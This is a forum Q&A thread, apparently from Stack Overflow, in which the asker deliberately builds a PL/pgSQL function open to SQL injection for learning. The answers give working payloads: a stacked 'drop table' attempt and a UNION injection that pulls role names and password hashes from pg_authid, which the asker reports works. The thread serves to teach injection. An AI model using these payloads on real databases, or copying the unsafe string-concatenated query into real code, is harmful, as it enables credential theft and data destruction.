0

Just for learning purposes, I'm trying to create a function using PLPGSQL and make an SQL injection on it. I recently learned about format, USING and quote_literal and quote_indent, so I'm good about avoiding an SQL injection. What I'm trying to do is create a function that allows an SQL injection (i.e. a drop table).

So I wrote this:

create or replace function badfunc(tablename text, identifier int4)
returns setof character varying as $$
declare
    query text;
begin
    query := 'select full_name from ' || $1 || ' where re = ' || $2 ||'';
    raise notice 'query: %', query;
    return query execute query;
end;
$$ language 'plpgsql';

But when I execute this function with select badfunc('; drop table tb_students;', 1001); I get this error:

[42601] ERROR: syntax error at or near ";" where: function PL/pgSQL badfunc(text,integer) linha 7 in RETURN QUERY

So I think that's not how it is done. How can I achieve this SQL injection?

2 Answers 2

1

You have to make it a valid SQL statement:

SELECT badfunc('(VALUES ('done')) AS x(fullname); drop table tb_students; --', 1001);
2
  • Great, I tried your code, but it doesn't work. But I get what you said, I need a valid SQL statement. I changed the second argument of the function to 'text', and them I ran SELECT badfunc('tb_students', '1001; drop table tb_students');. This way, the dynamic query becomes select name from tb_students where re = 1001; drop table tb_students; --. And now I get a new error: [42P11] ERROR: cannot open multi-query plan as cursor Mar 11, 2022 at 15:36
  • 1
    Then you have to think of a more complicated exploit that does not include a ;. Mar 11, 2022 at 16:02
1

PostgreSQL's internal restrictions block you from doing multistatement injections in this case. You will perhaps have to settle for data leaks.

 SELECT badfunc('tb_students', '1001 union all select concat(rolname,rolpassword) from pg_authid');
1
  • The UNION worked, but of course I cannot do a drop table with it. So, Postgres denies multistatement injections... is there other types of injection that Postgres doesn't have a countermeasure? How can I make a drop table with them? Mar 11, 2022 at 22:05

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.